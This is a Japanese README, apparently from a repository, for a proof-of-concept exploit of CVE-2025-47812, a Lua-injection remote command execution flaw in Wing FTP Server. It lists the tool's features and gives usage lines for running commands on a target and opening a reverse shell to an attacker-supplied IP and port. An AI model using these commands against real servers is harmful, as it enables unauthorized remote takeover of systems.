CVE-2025-47812 - Wing FTP Server RCE エクスプロイト

このリポジトリは CVE-2025-47812 の概念実証エクスプロイトを提供します。これは Wing FTP Server のリモートコマンド実行 (RCE) 脆弱性です。攻撃者は認証時に username パラメータを悪用して任意の Lua ベースのシステムコマンドを注入・実行し、完全なリモートコード実行を引き起こすことができます。

📌 エクスプロイトの機能

🔧 カスタムシェルコマンドのリモート実行
🧬 複数の内蔵リバースシェルペイロード (bash、Python、netcat など)
🪪 Set-Cookie からの UID 自動抽出
📦 成功した UID を found_uids.txt に記録
🧪 ドライランモード (実際のリクエストを送信せず、入出力ロジックを安全にテスト)
🔁 ネットワーク障害時のリトライロジック
🧹 ペイロードフォーマットの改善と読みやすい出力
✅ IP、ポート、URL の入力検証
⚙️ 自動化ワークフローのためのコマンドライン引数サポート

💻 使用方法

簡単なシェルコマンドを実行:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

リバースシェルを起動:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

ドライランモード (リクエストは送信されません):

機能/改善点	説明
✅ 引数解析	非対話モード用の `argparse` CLI サポートを追加
🔐 入力検証	エクスプロイト実行前に URL/IP/ポートが有効であることを確認
📦 ヘッダーリファクタリング	HTTP ヘッダーを再利用可能な関数に抽出し一貫性を向上
📄 UID ログ記録	成功した UID トークンを `found_uids.txt` に保存
🧪 ドライランモード	リクエストを送信せず安全にテスト可能 (`--dry-run`)
🕒 タイムアウト + リトライ	リクエストのタイムアウト設定と失敗時の自動リトライを追加
🧼 ペイロードの可読性	Lua インジェクション文字列を整形し、明確さと保守性を向上
📊 構造化出力	サーバー応答とペイロード情報を区切り線で囲み読みやすくした
⚠️ ステータスコードチェック	ターゲットが予期しない HTTP ステータスコードを返した場合に警告
📝 ログシステム	`print()` の代わりに Python `logging` モジュールを使用し、詳細度制御を改善

WingFTP-CVE-2025-47812-illdeed

人気

🔄 オリジナルエクスプロイトからの変更点

⚠️ 免責事項